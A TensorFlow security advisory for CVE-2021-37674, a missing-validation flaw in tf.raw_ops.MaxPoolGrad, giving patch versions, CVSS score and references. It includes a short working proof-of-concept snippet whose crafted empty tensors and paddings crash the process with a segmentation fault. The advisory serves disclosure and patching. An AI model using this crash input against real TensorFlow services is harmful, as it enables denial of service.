Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdnaHEtZnZyMy1wajJ4

Incomplete validation in `MaxPoolGrad`

Impact

An attacker can trigger a denial of service via a segmentation fault in tf.raw_ops.MaxPoolGrad caused by missing validation:

import tensorflow as tf
  
tf.raw_ops.MaxPoolGrad(
  orig_input = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
  orig_output = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
  grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),
  ksize = [1, 16, 16, 1],
  strides = [1, 16, 18, 1],
  padding = "EXPLICIT",
  explicit_paddings = [0, 0, 14, 3, 15, 5, 0, 0])

The implementation misses some validation for the orig_input and orig_output tensors.

The fixes for CVE-2021-29579 were incomplete.

Patches

We have patched the issue in GitHub commit 136b51f10903e044308cf77117c0ed9871350475.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang of Baidu Security.

Permalink: https://github.com/advisories/GHSA-7ghq-fvr3-pj2x
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdnaHEtZnZyMy1wajJ4
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 2 years ago
Updated: 10 months ago

CVSS Score: 5.5
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-7ghq-fvr3-pj2x, CVE-2021-37674
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7ghq-fvr3-pj2x
• https://nvd.nist.gov/vuln/detail/CVE-2021-37674
• https://github.com/tensorflow/tensorflow/commit/136b51f10903e044308cf77117c0ed9871350475
• https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-068.md
• https://github.com/advisories/GHSA-7ghq-fvr3-pj2x

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 26.8

Affected Packages